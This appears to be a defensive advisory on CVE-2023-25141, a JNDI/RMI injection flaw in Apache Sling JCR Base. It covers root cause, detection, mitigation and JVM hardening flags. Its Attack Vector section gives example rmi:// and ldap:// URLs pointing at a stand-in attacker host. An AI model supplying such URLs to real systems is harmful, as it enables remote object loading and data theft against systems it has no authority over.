CVE-2023-25141: Apache Sling JCR Base SSRF Vulnerability

CVE-2023-25141 Overview

CVE-2023-25141 affects Apache Sling JCR Base versions prior to 3.1.12 when running on older Java Development Kit (JDK) builds at version 1.8.191 or earlier. The flaw resides in the RepositoryAccessor utility class, where the getRepository and getRepositoryFromURL functions accept attacker-controlled URLs. An attacker can supply a Java Naming and Directory Interface (JNDI) or Remote Method Invocation (RMI) URL that causes the application to fetch and deserialize remote objects. This is an injection-class issue tracked under [CWE-74]. The Apache Sling project recommends upgrading to version 3.1.12 or running on a newer JDK that mitigates JNDI/RMI lookups.

Critical Impact
Network-accessible attackers can coerce vulnerable Apache Sling instances to load remote objects via JNDI/RMI, leading to unauthorized data access from attacker-controlled endpoints.

Affected Products

Apache Sling JCR Base versions prior to 3.1.12
Deployments running on JDK 1.8.191 or earlier
Applications invoking RepositoryAccessor.getRepository or getRepositoryFromURL

Discovery Timeline

2023-02-14 - CVE-2023-25141 published to the National Vulnerability Database (NVD)
2025-03-20 - Last updated in the NVD database

Technical Details for CVE-2023-25141

Vulnerability Analysis

Apache Sling JCR Base provides utility classes for accessing Java Content Repository (JCR) instances. The RepositoryAccessor class exposes two helper methods that resolve repository references from URLs. When the supplied URL uses a JNDI or RMI scheme, the JDK performs a remote lookup and may instantiate objects returned by the remote server.

On JDK builds at 1.8.191 or earlier, JNDI lookups do not enforce restrictions on remote object factories. An attacker who controls the URL passed into these accessors can point the lookup at an attacker-operated RMI or LDAP endpoint. The remote server then returns a serialized object reference that the victim resolves and instantiates.

The Common Weakness Enumeration classification is [CWE-74], improper neutralization of special elements in output used by a downstream component, commonly described as injection. The vulnerability is exploitable over the network without authentication or user interaction.

Root Cause

The root cause is unrestricted handling of URL schemes in getRepository and getRepositoryFromURL. The utility passes user-influenced strings directly to JNDI/RMI APIs without validating the protocol or restricting the set of acceptable factories. Legacy JDK versions compound the issue by allowing remote class loading during naming lookups.

Attack Vector

An attacker identifies an application that exposes input to RepositoryAccessor methods, then supplies a URL such as rmi://attacker.example/Object or ldap://attacker.example/Object. The vulnerable application performs the lookup and contacts the attacker-controlled server, which returns object references that influence application state or leak repository data. The Apache Sling advisory does not publish proof-of-concept code; consult the Apache Sling News page for vendor guidance.

No verified exploitation code is available. The vulnerability is
triggered when attacker-controlled URLs reach RepositoryAccessor
methods on vulnerable JDK builds.

Detection Methods for CVE-2023-25141

Indicators of Compromise

Outbound RMI or LDAP connections from Apache Sling application servers to unexpected external hosts
Application logs referencing RepositoryAccessor.getRepository or getRepositoryFromURL with non-local URLs
Java process activity loading classes from remote codebases during JNDI lookups

Detection Strategies

Inventory deployed Apache Sling JCR Base artifacts and compare versions against 3.1.12
Audit application code paths that forward HTTP parameters or configuration values into RepositoryAccessor
Inspect installed JDK versions on Sling hosts and flag installations at 1.8.191 or earlier

Monitoring Recommendations

Alert on egress connections from JVM processes to TCP ports 1099, 389, or 636 toward untrusted destinations
Capture JVM flags and verify com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.ldap.object.trustURLCodebase are set to false
Forward Sling application logs to a centralized analytics platform for correlation with network telemetry

How to Mitigate CVE-2023-25141

Immediate Actions Required

Upgrade Apache Sling JCR Base to version 3.1.12 or later
Update the underlying JDK to a release newer than 1.8.191 that disables remote codebase loading by default
Restrict or remove application inputs that reach RepositoryAccessor.getRepository and getRepositoryFromURL

Patch Information

The Apache Sling project addressed the vulnerability in Apache Sling JCR Base 3.1.12. Release information is available on the Apache Sling News page. Upgrading the runtime JDK is an additional defensive layer because newer JDK builds disable remote object factories for JNDI lookups by default.

Workarounds

Set the JVM system properties com.sun.jndi.rmi.object.trustURLCodebase=false and com.sun.jndi.ldap.object.trustURLCodebase=false
Enforce egress filtering to block outbound RMI and LDAP traffic from Sling hosts
Validate and allow-list any URL inputs before they reach repository accessor utilities

bash

# Configuration example: disable remote codebase loading on legacy JDK
java \
  -Dcom.sun.jndi.rmi.object.trustURLCodebase=false \
  -Dcom.sun.jndi.ldap.object.trustURLCodebase=false \
  -Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false \
  -jar sling-app.jar